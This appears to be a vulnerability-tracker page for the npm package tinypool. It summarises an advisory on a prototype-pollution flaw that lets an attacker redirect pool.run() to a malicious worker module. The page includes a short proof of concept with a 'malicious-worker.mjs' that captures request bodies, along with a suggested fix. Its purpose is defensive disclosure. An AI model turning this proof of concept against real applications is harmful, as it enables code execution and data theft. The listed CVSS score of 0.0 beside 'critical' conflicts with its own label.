npm package report

Is tinypool safe?

2 known vulnerabilities, worst severity CRITICAL.

// reach

0 direct dependencies

none carry a known advisory

    5 packages depend on it

    an advisory here reaches each of them

    Create a free accountfor every dependency path, dependent and what to upgrade
    // ai model usage

    Tracked for PyPI packages. HuggingFace models declare Python dependencies, so npm packages are not covered.


    cvss
    0.0
    critical

    severity out of 10

    epss
    0.00%
    low

    chance of exploitation in 30 days, 31st percentile of all CVEs

    xyz score
    not scored

    CyberXYZ composite out of 10

    fig. 01 — GHSA-85c8-ppgw-ccpr, the advisory selected below

    // 2 advisories

    GHSA-85c8-ppgw-ccpr

    CRITICALCVE-2026-104849

    tinypool is a fork of piscina and inherited the same prototype-pollution surface. When pool.run(task, options) is called, the filename option is read from the provided options object. If that object does not have an own filename property, the lookup falls through to Object.prototype.

    An attacker who can pollute Object.prototype.filename (for example, via a vulnerable lodash.merge, qs.parse, or similar elsewhere in the application) can make tinypool load and execute an attacker-controlled worker module.

    This is the tinypool counterpart to the piscina root discovery GHSA-x9g3-xrwr-cwfg.

    pool.run(task) with no second argument is not affected, because kDefaultOptions.filename is null and the options object is not user-controlled. The exploit only triggers when the caller passes their own options object to pool.run().

    // impact

    Arbitrary JavaScript execution in the worker pool. If the application passes attacker-controlled data as the run() task and also supplies a run() options object, the attacker can redirect execution to a malicious worker that exfiltrates or modifies that data, achieving remote code execution and/or data exfiltration.

    // proof of concept
    // legitimate-worker.mjs
    export default async (task) => ({ by: 'legitimate-worker', processed: task })
    
    // malicious-worker.mjs
    export default async (task) => ({ by: 'attacker', stolenRequestBody: task })
    
    // main.js
    import express from "express";
    import Tinypool from "tinypool";
    import { fileURLToPath } from "node:url";
    import path from "node:path";
    
    const __dirname = path.dirname(fileURLToPath(import.meta.url));
    
    // Simulate upstream prototype pollution (lodash merge, qs parse, etc.)
    Object.prototype.filename = path.join(__dirname, "malicious-worker.mjs");
    
    const pool = new Tinypool({
      filename: path.join(__dirname, "legitimate-worker.mjs"),
    });
    
    express()
      .use(express.json())
      .post("/", async (req, res) => {
        const ac = new AbortController();
        const result = await pool.run(req.body, { signal: ac.signal });
        res.json(result);
      })
      .listen(31337);
    // suggested fix

    Read all user-supplied options from own properties only (Object.hasOwn or Object.prototype.hasOwnProperty.call) and build the internal ThreadPool.options object with a null prototype.

    // cvss v4.0 vector

    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

    Attack vector
    Network
    Attack complexity
    Low
    Attack requirements
    Present
    Privileges required
    None
    User interaction
    None
    Confidentiality (vulnerable system)
    High
    Integrity (vulnerable system)
    High
    Availability (vulnerable system)
    High
    Confidentiality (subsequent systems)
    High
    Integrity (subsequent systems)
    High
    Availability (subsequent systems)
    High

    Checked 2026-10-06 at 01:59 UTC. The most recent advisory here was published 2026-10-05. Updated continuously from NVD, GHSA, OSV and CNA feeds.

    Think a verdict here is wrong? Tell us — we respond within 2 business days.